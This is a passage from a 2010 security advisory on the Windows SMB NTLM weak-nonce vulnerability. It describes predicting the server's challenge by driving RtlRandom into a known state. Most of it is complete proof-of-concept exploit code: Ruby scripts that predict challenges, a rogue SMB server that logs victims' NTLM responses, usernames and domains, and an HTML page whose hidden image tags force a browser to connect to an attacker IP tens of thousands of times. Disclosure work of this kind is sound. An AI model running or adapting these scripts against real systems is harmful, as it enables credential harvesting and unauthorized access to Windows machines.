system, _EncryptionKeyCount will always be 0; by keeping count of the number of packets we send, we can also calculate the value of _EncryptionKeyCount for further connections- Interestingly enough, in our tests, the value of Current Time used by srv.sys!GetEncryptionKey to generate the seed was the same value returned by the SMB service to the client in the field 'System Time' of an 'SMB Negotiate Protocol Response' packet- The initial state of the vector used by ntoskrnl.exe!RtlRandom is hard-coded, but it is modified every time the function is called and it is called every time a new process is created (modifications might not be that many).Based on these facts we implemented the following attack to predict challenges:- We set the vector used by ntoskrnl.exe!RtlRandom to a 'known state' -To do this we send multiple 'SMB Negotiate Protocol Request' packets with the 'flags2' field set to 0xc001 to trigger srv.sys!GetEncryptionKey which in turns calls ntoskrnl.exe!RtlRandom modifying its internal vector (~300 packets)-Since we know the seed used by the server to perform the previous actions, because it is in the 'System Time' field of the 'SMB Negotiate Protocol Response' packet we receive, and we also know all the other variables including the value of _EncryptionKeyCount, we can do the same calculations updating our own vector-We repeat this process until all 128 values of our vector are calculated. At this point we know the state of the table on the remote system, we know all of its values and their position within the vector.- We calculate all possible challenges that can be generated with that 'known state' next time srv.sys!GetEncryptionKey is called- We force the victim to connect to our specially crafted SMB server to get all those challenges encrypted with the credentials of the victim (an average of ~16000 to ~48000 possible challenges)- At this point we know that if we send another authentication request to the victim the challenge returned will be one of the pre-calculated challenges. We make the connection, get the challenge, look for the corresponding response we obtained from the victim, and authenticate to the SMB service.6.5.2.Proof-of-Concept Exploit------------------------------Next are the necessary steps to perform the attack:- Run predictor.rb against the victim. E.g.: ruby predictor.rb 192.168.1.110This script will show the progress of 'setting' the values of the victims RtlRandom's internal vector.It will display something like this:(0x00-0x04) 0x00000000 0x00000000 0x00000000 0x2948d15b(0x04-0x08) 0x72f4dda5 0x00000000 0x14dbf86f 0x00000000(0x08-0x0c) 0x00000000 0x62d2c31e 0x00000000 0x7ef9db03(0x0c-0x10) 0x00000000 0x0dfdee4d 0x00000000 0x0ecd0d97(0x10-0x14) 0x00000000 0x04d986e1 0x00000000 0x00000000(0x14-0x18) 0x00000000 0x35fdf275 0x00000000 0x00000000(0x18-0x1c) 0x00000000 0x47b6b289 0x00000000 0x00000000(0x1c-0x20) 0x5b9a7eb8 0x00000000 0x00000000 0x3b150ecc(0x20-0x24) 0x146909b1 0x7a3022b1 0x00000000 0x00000000(0x24-0x28) 0x23bfb6e0 0x00000000 0x00000000 0x0e5c7c0f(0x28-0x2c) 0x3f027a59 0x00000000 0x00000000 0x00000000(0x2c-0x30) 0x00000000 0x00000000 0x6a3158d2 0x00000000(0x30-0x34) 0x69d97001 0x2cd5c5e6 0x00000000 0x2cdcb5b0(0x34-0x38) 0x00000000 0x00000000 0x00000000 0x00000000(0x38-0x3c) 0x00000000 0x00000000 0x00000000 0x00000000(0x3c-0x40) 0x08deca3d 0x4954003d 0x00000000 0x00f5b207(0x40-0x44) 0x4de0efd1 0x00000000 0x00000000 0x56bf3780(0x44-0x48) 0x25210c65 0x00000000 0x00000000 0x00000000(0x48-0x4c) 0x00000000 0x00000000 0x00000000 0x00000000(0x4c-0x50) 0x00000000 0x00000000 0x00000000 0x00000000(0x50-0x54) 0x00000000 0x397415a1 0x34aa91eb 0x00000000(0x54-0x58) 0x231aeb35 0x00000000 0x00000000 0x00000000(0x58-0x5c) 0x00000000 0x04223749 0x00000000 0x1b4c91f8(0x5c-0x60) 0x00000000 0x00000000 0x00000000 0x71ad9da7(0x60-0x64) 0x00000000 0x00000000 0x00000000 0x046696bb(0x64-0x68) 0x00000000 0x00000000 0x193b264f 0x439ef5b4(0x68-0x6c) 0x5bdd2f34 0x00000000 0x00000000 0x481eaee3(0x6c-0x70) 0x00000000 0x00000000 0x50b1e1f7 0x2a8d71dc(0x70-0x74) 0x00000000 0x02240f41 0x0ae7948b 0x37af3d8b(0x74-0x78) 0x00000000 0x00000000 0x77130a3a 0x640bf49f(0x78-0x7c) 0x31665169 0x20a1c769 0x00000000 0x00000000(0x7c-0x80) 0x6958e618 0x00000000 0x00000000 0x00000000known values: 48/128- When predictor.rb finishes, it writes the values of the vector to 'x_values.log' (it also generates a file 't_values.log' containing the 'current times' observed in the 'SMB Negotiate Protocol Response' packets).- Run generate_challenges.rb, it will generate the file 'challenges.log' with all the possible challenges based on 'x_values.log'.- Run savecreds.rb, it will wait for incoming connections on port 445/tcp- On the victim, use 'predict.html' with Internet Explorer to perform SMB connections to savecreds.rb's serverYou will need to change the IP address of the server where savecreds.rb is running in 'predict.html', andalso the number of connections to perform (look for the line: 'if (id == 50000) {' and change accordingly).The number of connections that need to be performed is shown by savecreds.rb.- When savecreds.rb is finished, a file 'fullcreds.log' will be created- Now use the metasploit module msf_smb_weak_nonce.rb as explained before with the recently generated 'fullcreds.log' against the victim- You should be able to authenticate with the victim at the ~first attempt Sometimes the challenge is correctly 'guessed' at the first attempt, but the attack fails because of some SMB error. If this happens please note that the challenge was indeed correctly predicted. Also note that since the internal vector is not completely modified after just one connection, the exploit will actually be able to predict more challenges (you might be able to run the metasploit exploit multiple times before performing the whole attack all over again).The predictor.rb assumes the EncryptionKeyCount is 0. If you want to run the attack multiple times youjust need to modify its value in predictor.rb. The value of EncryptionKeyCount after the attack is displayed by predictor.rb when it terminates (you need to use the value displayed + 0x100).After generate_challenges.rb is executed, if the number of possible challenges is 'too big' (~48000 or more) youmight want to run predictor.rb again. The size of the set of possible challenges vary according to the values in the vector. Remember to adjust EncryptionKeyCount before running predictor.rb. We recommend peforming the attack when EncryptionKeyCount is 0 specially if this is the first time this proof-of-concept is used.This is just a proof-of-concept exploit, it can be improved and optimized.====savecreds.rb====:# Windows SMB NTLM Authentication Weak Nonce Vulnerability# (c) 2010 Hernan Ochoa (hernan@gmail.com)# This script waits for incoming connections on port 445/tcp and responds with# a set to challenges, and stores the responses.require 'socket'require 'time'# from metasploit...# framework-3.2/lib/rex/proto/smb/utils.rbdef time_unix_to_smb(unix_time)t64 = (unix_time + 11644473600) * 10000000thi = (t64 & 0xffffffff00000000) >> 32tlo = (t64 & 0x00000000ffffffff)return [thi, tlo]enddef waitforcreds(thenonces, num)nonces_ndx = 0conn_num = 0maxn = num neg_proto_response_1 = "00000051" + # NetBIOS Session Service header"ff534d4272000000008801c00000000000000000000000000000fffe00000000" + # SMB Header"1105000302000100041100000000010000000000fde30000007632d28015ca010000080c00e486962656d5869400000000" # Negotiate Protocol Responsesession_setupandx_access_denied = "00000023" + # NetBIOS Session Service Header"ff534d4273220000c08801c00000000000000000000000000000fffe00000400000000" + # SMB Header"000000" # Session and SetupX Response payloadcreds_filename = "fullcreds.log" if File.file?( creds_filename ) then File.delete( creds_filename ) endserver = TCPServer.open(445)loop {if conn_num > maxnThread.exitreturnendThread.start(server.accept) do |client|conn_num = conn_num + 1if conn_num > maxnputs "done!"client.close()server.shutdownThread.exitreturnendputs conn_num# (1) receive Negotiate Protocol Requestq, x = client.recvfrom(2000)puts "neg proto request received"pid1 = q[0x1e]pid2 = q[0x1f]multi1 = q[0x1e+4]multi2 = q[0x1f+4]# (2) send Negotiate Protocol Response# set challenge in response packet puts thenonces[nonces_ndx].to_sneg_proto_response_1[146..146+15] = thenonces[nonces_ndx].chomp# TODO: SET CORRECT TIMEtimehi, timelo = time_unix_to_smb(Time.now.to_i)# send packet n = neg_proto_response_1.scan(/../).map { |s| s.to_i(16) }# set process id#puts pid1#puts pid2#puts multi1#puts multi2n[0x1e] = pid1n[0x1f] = pid2n[0x1e+4] = multi1n[0x1f+4] = multi2s = ("%.8x" % timelo)ss = s[6].chr + s[7].chr + s[4].chr + s[5].chr + s[2].chr + s[3].chr + s[0].chr + s[1].chrdlo = (ss.scan(/../)).map { |s| s.to_i(16) }s = ("%.8x" % timehi)ss = s[6].chr + s[7].chr + s[4].chr + s[5].chr + s[2].chr + s[3].chr + s[0].chr + s[1].chrdhi = (ss.scan(/../)).map { |s| s.to_i(16) }n[0x3c..0x3c+3] = dlon[0x40..0x40+3] = dhi# timezone = 0#n[0x45] = 0#n[0x46] = 0j = n.pack("C*")client.write(j)puts "neg proto response sent"# (3) Receive Session Setup andX Requestq, x = client.recvfrom(4000)puts "session setup andx request received!"pid1 = q[0x1e]pid2 = q[0x1f]multi1 = q[0x1e+4]multi2 = q[0x1f+4]# we assume the first request is anonymous# and we send back an Error: STATUS_ACCESS_DENIEDn = session_setupandx_access_denied.scan(/../).map { |s| s.to_i(16) }n[0x1e] = pid1n[0x1f] = pid2n[0x1e+4] = multi1n[0x1f+4] = multi2#n[0x44/2] = pid1multi1#n[0x45/2] = multi2#n[0x3c/2] = pid1#n[0x3d/2] = pid2#puts nbeginj = n.pack("C*")rescueputs $! endclient.write(j)puts "session setupandx access denied sent!"# (4) Receive Session Setup andX Request with credsq, x = client.recvfrom(4000)puts "session setup andx request with creds received!"# Get the ANSI Password ansi_pwd = q[0x41..0x41+23]ansi_pwd_s = (ansi_pwd.unpack("C*").map { |v| ("%.2x" % (v)).chomp }).to_sputs ansi_pwd_s# Get the Unicode Passwordunicode_pwd = q[0x59..0x59+23]unicode_pwd_s = (unicode_pwd.unpack("C*").map { |v| ("%.2x" % (v)).chomp }).to_sputs unicode_pwd_s# Get the username (0x71)i = 0v = 0username = "" while v == 0if q[0x71+i] == 0 and q[0x71+i+1] == 0v = 1endif q[0x71+i] != 0username = username + q[0x71+i].chrendi = i + 1endi = 0x71 + i + 1domain = ""v = 0k = 0while v == 0:if q[i+k] == 0 and q[i+k+1] == 0v = 1endif q[i+k] != 0domain = domain + q[i+k].chrendk = k + 1endputs usernameputs domainFile.open(creds_filename, "a") { |f| f.write( thenonces[nonces_ndx].to_s + "," + ansi_pwd_s + "," + unicode_pwd_s + "," + username + "," + domain + "/n") }client.closenonces_ndx = nonces_ndx + 1end }enddef savecreds()nonces = []nonces_filename = "challenges.log"# load nonces to send to the victim data = ""File.open(nonces_filename, 'r') { |f| data = f.read() }nonces = data.split(//n/)num = nonces.lengthputs "waiting for " + num.to_s + " connections..."# wait for victim to encrypt the nonceswaitforcreds(nonces, num)end# MAINprint "Windows SMB NTLM Authentication weak nonce Vulnerability"print "/n(c) 2010 Hernan Ochoa (hernan@gmail.com)/n"# now, we expect connections from the victim# so we can use those connections to have the victim# encrypt the nonces with the hases of his/her password#the connections can be forced by#using the classic technique of sending an email#with link to a web page, a web page that may contain html tags like#<img src="//<attacker>/pepe"># for each <img> tag the victim will initiate 4 connections (it retries automatically..)# so that's good for an attacker, lowers the number of# connections it needs to force from the victimputs "waiting for connections from victim"savecreds()====predict.html====:<html xmlns="http://www.w3.org/1999/xhtml"><head></head><body> <div id="image"></div> <div id="efficiency"></div> <div id="progress"></div> <div id="state"></div> <div id="url"></div> <div id="text"></div> <div id="response"></div></body></html><script type="text/javascript"> id = 0 target_unc = "////192.168.1.130//c$//j.txt" target_http = "http://192.168.1.130/" window.onload = function() { set_handled_image_element("image", target_unc + id); } set_image = function() { var target = ""; if (id % 2 == 1) { target = target_unc; } else { target = target_http; } set_handled_image_element("image", target + id); } set_text_element = function(id, text) { document.getElementById(id).innerHTML = "" + "<p>" + text + "</p>"; } set_image_element = function(id, image) { document.getElementById(id).innerHTML = "" + "<img" + " src = '" + image + "'" + " />"; } set_handled_image_element = function(id, image) { document.getElementById(id).innerHTML = "" + "<img" + " src = '" + image + "'" + " onLoad = 'image_on_load()'" + " onError = 'image_on_error()'" + " style = 'display: none'" + " />"; } image_on_load = function() { id += 1; if (id == 50000) { set_image_element("image", ""); return; } set_text_element("progress", "attempt: " + id/2); set_text_element("image", "image"); set_image() } image_on_error = image_on_load</script>====predictor.rb====:# Windows SMB NTLM Authentication Weak Nonce Vulnerability# Proof-of-concept challenge predictor exploit# Hernan Ochoa & Agustin Azubelrequire 'socket'class LinearCongruentialGenerator def initialize a, b, m @a = a @b = b @m = m end def apply x y = ( ( ((@a * x) & 0xffffffff) + @b) & 0xffffffff) % @m endendclass RtlRandomLinearCongruentialGenerator < LinearCongruentialGenerator def initialize a = 0x7fffffed # 2 ** 31 - 19 b = 0x7fffffc3 # 2 ** 31 - 61 m = 0x7fffffff # 2 ** 31 - 1 super a, b, m endendclass SmbSeedGenerator def apply t # seed = CT[1] || CT[2]-1 || CT[2] || CT[1]+1 t_1 = (t & 0xffff) >> 8 t_2 = (t & 0xffffff) >> 16 seed = 0; seed |= t_1 seed <<= 8; seed |= t_2 - 1 seed <<= 8 seed |= t_2 seed <<= 8 seed |= t_1 + 1 seed endendmodule DumpableValues def dump File.open "#{@name}.log", "w+" do |f| each do |value| line = "0x%x" % value f.puts line end end endendclass TValues < Array include DumpableValues def initialize super @name = "t_values" endendclass JValues < Array include DumpableValues def initialize super 128, 0 @name = "j_values" endendclass XValues < Array include DumpableValues def initialize super 128 @name = "x_values" @known_count = 0 end def show system "clear" items_per_row = 4 rows = length/items_per_row (0...rows).each do |row| i = row * items_per_row print "(0x%02x-0x%02x) " % [ i, i + items_per_row ] puts self[ i, items_per_row].map { |value| "0x%08x" % value }.join(" ") end puts "known values: %d/%d" % [ @known_count, length ] end def []= i, x @known_count += 1 unless self[i] super i, x endendclass RtlRandomAttack def initialize host @host = host @lcg = RtlRandomLinearCongruentialGenerator.new @sg = SmbSeedGenerator.new @encryption_key_count = 0 @t_values = TValues.new @x_values = XValues.new @j_values = JValues.new @attempts = 0 @count = 0 @max_count = 128 end def getChallenge port = 445 neg_proto_packet_1 = "00000054" +"ff534d4272000000001801c00000000000000000000000000000866100005480003100024c414e4d414e312e3000024c4d312e325830303200024e54204c414e4d414e20312e3000024e54204c4d20302e313200"# connect and send Negotiate Protocol Requestso = TCPSocket.open(@host, port)n = neg_proto_packet_1.scan(/../).map { |s| s.to_i(16) }j = n.pack("C*")so.write(j)resp = so.recvfrom(2000)j = resp.to_s[0x49..0x49+7]vuelta = jtest = j.unpack("C*").map { |v| ("%.2x" % (v)).chomp }challenge = test.to_st = resp.to_s[0x3c,4]tt = t.unpack("C*").map { |v| ("%.2X" % (v)).chomp } return tt[3]+tt[2]+tt[1]+tt[0] end def run loop do t = getChallenge t = t.to_i 16 @t_values.push t t += @encryption_key_count x0 = @sg.apply t 3.times do |t| x = @lcg.apply x0 y = @lcg.apply x j = y % 128 @j_values[j] += 1 @x_values[j] = x x0 = y end @x_values.show break unless @j_values.include? 0 @encryption_key_count += 0x100 @attempts += 1 #break if @attempts == 3000 end end def report (0...128).each do |j| puts "[0x%02x: 0x%02x]: 0x%08x" % [ j, @j_values[j], @x_values[j] ] end puts "%d attempts" % @attempts puts "encryption_key_count: %x" % @encryption_key_count @x_values.dump @t_values.dump endendraise RuntimeError, "invalid parameters!" unless ARGV.length == 1attack = RtlRandomAttack.new ARGV[0]attack.runattack.report### test values#m = 2 ** 31 - 1#ct = 0xf2449d5a#kc = 0x00572c00#seed = 0xc99a9bca#x = 0x9866fc06#j = 0x12====generate_challenges.rb====:#!/usr/bin/env ruby -w # Windows SMB NTLM Authentication Weak Nonce Vulnerability# Proof-of-concept challenge predictor exploit# challenges generator# Hernan Ochoa & Agustin Azubelx_values = Array.new 128File.open "x_values.log", "r" do |f| f.readlines.each_with_index do |line, i| x_values[i] = line.to_i 16 endenddef swap n s = "%08x" % n return s[6,2] + s[4,2] + s[2, 2] + s[0,2]endchallenges = Array.newx_values.each do |x| x_values.each do |y| next if x == y a = swap(x) + swap(y) challenges.push a b = swap(x | 0x80000000) + swap(y) challenges.push b c = swap(x) + swap(y | 0x80000000) challenges.push c endendFile.open "challenges.log", "wb+" do |f| challenges.sort.uniq.each do |c| f.puts c endend7.References------------[1] Microsoft SMB Protocol and CIFS Protocol Overviewhttp://msdn.microsoft.com/en-us/library/aa365233(VS.85).aspx[2] Microsoft NTLMhttp://msdn.microsoft.com/en-us/library/aa378749(VS.85).aspx[3] Microsoft Security Bulletin Advance Notification for February 2010http://www.microsoft.com/technet/security/Bulletin/ms10-feb.mspx[4] Bruce Schneier, Applied Cryptography (Second Edition), 1996.Chapter 16, pp 369.8.Disclaimer------------The contents of this advisory are copyright (c) 2010 Hernan Ochoa, andmay be distributed freely provided that no fee is charged fordistribution and proper credit is given.
